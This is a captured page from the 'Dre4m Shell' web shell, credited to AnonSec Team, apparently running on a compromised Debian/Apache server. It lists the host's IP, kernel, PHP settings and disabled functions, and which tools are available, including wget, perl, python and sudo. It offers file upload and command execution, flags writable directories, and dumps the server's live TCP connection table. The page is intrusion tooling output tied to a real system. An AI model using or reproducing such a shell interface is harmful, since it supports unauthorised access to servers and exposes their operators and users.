Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.216.71.122
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/cwd/proc/2/cwd/proc/3/cwd/proc/215/task/297/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/cwd/proc/2/cwd/proc/3/cwd/proc/215/task/297/net//tcp
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 0100007F:2728 00000000:0000 0A 00000000:00000000 00:00000000 00000000   110        0 2346575820 1 0000000000000000 100 0 0 10 0                
   1: 00000000:2328 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2346554156 1 0000000000000000 100 0 0 10 0                
   2: 0100007F:272A 00000000:0000 0A 00000000:00000000 00:00000000 00000000   110        0 2346575821 1 0000000000000000 100 0 0 10 0                
   3: 0100007F:2BCB 00000000:0000 0A 00000000:00000000 00:00000000 00000000   114        0 2346533388 1 0000000000000000 100 0 0 10 0                
   4: 0100007F:270E 00000000:0000 0A 00000000:00000000 00:00000000 00000000   110        0 2346575819 1 0000000000000000 100 0 0 10 0                
   5: 0100007F:030F 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2346569291 1 0000000000000000 100 0 0 10 0                
   6: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2346554150 1 0000000000000000 100 0 0 10 0                
   7: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2346559587 1 0000000000000000 100 0 0 10 0                
   8: 0100007F:1538 00000000:0000 0A 00000000:00000000 00:00000000 00000000   111        0 2346550979 1 0000000000000000 100 0 0 10 0                
   9: 0100007F:0019 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 2346656558 1 0000000000000000 100 0 0 10 20               
  10: 0100007F:1539 00000000:0000 0A 00000000:00000000 00:00000000 00000000   111        0 2346546017 1 0000000000000000 100 0 0 10 0                
  11: 00000000:01BB 00000000:0000 0A 00000000:00000000 02:0000000D 00000000     0        0 2346554152 2 0000000000000000 100 0 0 10 0                
  12: 0EEFD655:01BB F6D8BA17:B0B4 03 00000000:00000000 01:00000139 00000002     0        0 0 2 0000000000000000                                      
  13: 0EEFD655:01BB 609CDD03:E476 03 00000000:00000000 01:00000076 00000002     0        0 0 2 0000000000000000                                      
  14: 0EEFD655:01BB F6D8BA17:0E6D 03 00000000:00000000 01:00000728 00000005     0        0 0 2 0000000000000000                                      
  15: 0100007F:C772 0100007F:7530 08 00000000:00000001 00:00000000 00000000    33        0 1934147825 1 0000000000000000 20 4 30 10 7                
  16: 0EEFD655:2328 75ED8071:5E72 06 00000000:00000000 03:00001334 00000000     0        0 0 3 0000000000000000                                      
  17: 0EEFD655:2328 F8032024:43A9 06 00000000:00000000 03:000016C4 00000000     0        0 0 3 0000000000000000                                      
  18: 0EEFD655:01BB 4F11802F:66B6 06 00000000:00000000 03:0000146B 00000000     0        0 0 3 0000000000000000                                      
  19: 0EEFD655:01BB 4F20802F:BF10 06 00000000:00000000 03:00000131 00000000     0        0 0 3 0000000000000000                                      
  20: 0EEFD655:2328 06032024:28BD 04 00000008:00000000 01:00000031 00000000     0        0 0 3 0000000000000000 93 4 29 10 -1                        
  21: 0EEFD655:0016 B260034F:8AD2 04 00000001:00000000 01:0000073E 00000004     0        0 0 3 0000000000000000 9857 0 0 1 7                         
  22: 0EEFD655:01BB 7A47D812:8B5E 01 00000000:00000000 02:000AF696 00000000    33        0 1934141853 4 0000000000000000 31 4 3 32 -1                
  23: 0100007F:8FAC 0100007F:7530 08 00000000:00000001 00:00000000 00000000    33        0 1933848976 1 0000000000000000 20 4 30 10 7                
  24: 0EEFD655:0016 6A225B7D:DF72 09 000003D1:00000000 01:0000050F 00000006     0        0 0 3 0000000000000000 3820 4 11 1 7                        
  25: 0EEFD655:01BB 8340F942:AA70 01 00000000:00000000 02:000B0363 00000000    33        0 1934156273 2 0000000000000000 32 4 17 10 -1               
  26: 0EEFD655:01BB 7A47D812:9160 01 00000843:00000000 01:0000000E 00000000    33        0 1934108463 3 0000000000000000 31 4 1 30 -1                
  27: 0100007F:96D2 0100007F:7530 08 00000000:00000001 00:00000000 00000000    33        0 1933864376 1 0000000000000000 20 4 30 10 7                
  28: 0EEFD655:0016 6A225B7D:B906 04 00000001:00000000 01:00001C09 00000007     0        0 0 3 0000000000000000 7564 0 0 1 7                         
  29: 0EEFD655:0016 8C005CDA:E5EF 01 000003D0:00000000 01:0000022B 00000002     0        0 1934120774 3 0000000000000000 1410 4 22 1 7               

Anon7 - 2022
AnonSec Team